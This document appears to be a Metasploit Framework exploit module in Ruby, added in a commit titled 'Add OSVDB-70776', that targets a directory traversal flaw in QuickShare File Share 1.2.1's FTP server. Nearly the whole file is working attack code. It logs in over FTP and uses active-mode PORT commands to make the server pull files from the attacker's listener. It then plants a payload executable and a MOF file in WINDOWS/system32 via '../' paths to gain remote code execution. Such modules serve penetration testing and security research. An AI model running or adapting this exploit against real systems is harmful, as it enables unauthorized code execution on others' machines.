Add OSVDB-70776
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Ftp
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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def initialize(info={})
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super(update_info(info,
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'Name' => "QuickShare File Share 1.2.1 Directory Traversal Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in QuickShare File Share's FTP
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service. By supplying "../" in the file path, it is possible to trigger a
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directory traversal flaw, allowing the attacker to read a file outside the
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virtual directory. By default, the "Writable" option is enabled during account
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creation, therefore this makes it possible to create a file at an arbitrary
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location, which leads to remote code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '70776'],
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['EDB', '16105'],
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['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
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['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['QuickShare File Share 1.2.1', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 03 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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# Change the default description so this option makes sense
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OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
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], self.class)
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end
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def check
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connect
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disconnect
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if banner =~ /quickshare ftpd/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def on_client_connect(cli)
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peer = "#{cli.peerhost}:#{cli.peerport}"
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case @stage
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when :exe
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print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
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cli.put(@exe)
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@stage = :mof
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when :mof
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print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
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cli.put(@mof)
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end
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cli.close
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end
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def upload(filename)
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select(nil, nil, nil, 1)
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
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# We can't use connect_login, because it cannot determine a successful login correctly.
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# For example: The server actually returns a 503 (Bad Sequence of Commands) when the
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# user has already authenticated.
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conn = connect(false, datastore['VERBOSE'])
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res = send_user(datastore['FTPUSER'], conn)
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if res !~ /^(331|2)/
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vprint_error("#{peer} - The server rejected our username: #{res.to_s}")
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return false
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end
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res = send_pass(datastore['FTPPASS'], conn)
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if res !~ /^(2|503)/
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vprint_error("#{peer} - The server rejected our password: #{res.to_s}")
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return false
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end
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# Switch to binary mode
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print_status("#{peer} - Set binary mode")
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send_cmd(['TYPE', 'I'], true, conn)
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# Prepare active mode: Get attacker's IP and source port
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src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
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src_port = datastore['SRVPORT'].to_i
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# Prepare active mode: Convert the IP and port for active mode
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src_ip = src_ip.gsub(/\./, ',')
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src_port = "#{src_port/256},#{src_port.remainder(256)}"
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# Set to active mode
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print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
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send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
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# Tell the FTP server to download our file
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send_cmd(['STOR', filename], false, conn)
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disconnect(conn)
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end
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def exploit
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trigger = '../../../../../../../../'
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exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
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mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"
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@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
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@exe = generate_payload_exe
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@stage = :exe
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begin
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t = framework.threads.spawn("reqs", false) {
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# Upload our malicious executable
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u = upload(exe_name)
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# Upload the mof file
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upload(mof_name) if u
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}
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super
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ensure
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t.kill
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end
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end
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end
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